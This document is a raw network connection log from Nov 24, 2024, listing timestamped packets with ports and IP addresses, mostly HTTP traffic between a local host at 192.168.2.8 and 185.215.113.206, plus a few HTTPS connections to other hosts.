Nov 24, 2024 19:11:54.362790108 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.362859964 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.363521099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.363580942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.363675117 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.363724947 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.364500999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.364588976 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.364634037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.365366936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.365417957 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.365447044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.365654945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.366246939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.366292000 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.366348982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.366389990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.367130041 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.367176056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.367258072 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.367398024 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.368067026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.368113041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.368171930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.368218899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.368949890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.368995905 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.369015932 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.369188070 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.369941950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.369983912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.370028019 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.370225906 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.371001959 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.371047020 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.371090889 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.371133089 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.372070074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.372117043 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.372179985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.372220993 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.372929096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.372948885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.372972012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.372994900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.392334938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.392461061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.392487049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.392502069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.392704964 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.392754078 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.392889023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.392930984 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.393002033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.393213987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.393767118 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.393779993 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.393837929 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.394588947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.394649029 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.394670963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.395205975 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.395428896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.395473003 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.395523071 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.395673990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.395714998 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.396334887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.396379948 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.396413088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.396444082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.396636963 CET	49808	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.396646976 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.396996021 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.397209883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.397258043 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.397311926 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.397468090 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.398113012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.398197889 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.398255110 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.398782969 CET	49808	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.398833036 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.399058104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.399104118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.399121046 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.399163961 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.399216890 CET	49808	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.399904013 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.399962902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.399976015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.400198936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.427812099 CET	49814	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.427879095 CET	443	49814	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.428071976 CET	49814	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.428492069 CET	49814	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.428510904 CET	443	49814	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.443334103 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.457278967 CET	49799	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.457748890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.457801104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.457848072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.458201885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.458255053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.458288908 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.458389044 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.459093094 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.459141970 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.459212065 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.459310055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.459959030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.460011005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.460037947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.460171938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.460856915 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.460902929 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.460968971 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.461015940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.461736917 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.461792946 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.461858988 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.461954117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.462641954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.462697983 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.462763071 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.462857008 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.463525057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.463572979 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.463664055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.463876009 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.464432001 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.464500904 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.464592934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.464731932 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.465311050 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.465358019 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.465367079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.465519905 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.466253996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.466314077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.466341019 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.466383934 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.467106104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.467155933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.467216015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.467257977 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.467969894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.468039036 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.468065977 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.468107939 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.468854904 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.468902111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.499360085 CET	443	49799	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.519499063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.519670963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.519790888 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.519956112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.520024061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.520077944 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.520693064 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.520760059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.520800114 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.521604061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.521647930 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.521734953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.521779060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.522485018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.522527933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.522582054 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.522628069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.523505926 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.523540974 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.523827076 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.524401903 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.524524927 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.524549007 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.524571896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.525240898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.525288105 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.525302887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.525336981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.526041031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.526091099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.526160955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.526221991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.526927948 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.526978016 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.527065039 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.527115107 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.527829885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.527880907 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.527913094 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.527950048 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.528713942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.528767109 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.528841972 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.528932095 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.529596090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.529648066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.529700041 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.529774904 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.530508995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.530558109 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.550901890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.550924063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.551023006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.551023006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.551114082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.551165104 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.551271915 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.551330090 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.552004099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.552066088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.552089930 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.552110910 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.552884102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.552936077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.553014040 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.553076029 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.553780079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.553973913 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.554030895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.554095030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.554681063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.554727077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.554775953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.554830074 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.555710077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.555727959 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.555787086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.556462049 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.556514025 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.556566954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.556617022 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.557333946 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.557385921 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.557454109 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.557511091 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.558250904 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.558353901 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.558408976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.558456898 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.559204102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.559262991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.559287071 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.559524059 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.560096979 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.560132980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.560168028 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.560178995 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.561052084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.561064005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.561148882 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.561148882 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.561800003 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.561878920 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.561906099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.562043905 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.562694073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.562755108 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.562781096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.562819004 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.563591957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.563642979 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.563689947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.563751936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.564483881 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.564518929 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.564536095 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.564568996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.584178925 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.584223032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.584304094 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.584304094 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.584465027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.584542036 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.584593058 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.585388899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.585436106 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.585447073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.585623026 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.586186886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.586292028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.586304903 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.586453915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.586951017 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.587007046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.587100983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.587852955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.587950945 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.587987900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.587999105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.588669062 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.588814974 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.588855028 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.588881016 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.589509964 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.589592934 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.589626074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.589673996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.590385914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.590436935 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.590497971 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.590559006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.591275930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.591406107 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.591423035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.591514111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.592252016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.592305899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.592322111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.592341900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.642524958 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.642798901 CET	49810	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.642812967 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.643876076 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.643929958 CET	49810	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.644277096 CET	49810	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.644340992 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.644437075 CET	49810	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.644443989 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.655297995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.655311108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.655355930 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.655740023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.655818939 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.655822992 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.655858040 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.656585932 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.656634092 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.656652927 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.656717062 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.657527924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.657582045 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.657656908 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.657707930 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.658337116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.658386946 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.658473015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.658550024 CET	49750	80	192.168.2.8	185.215.113.206
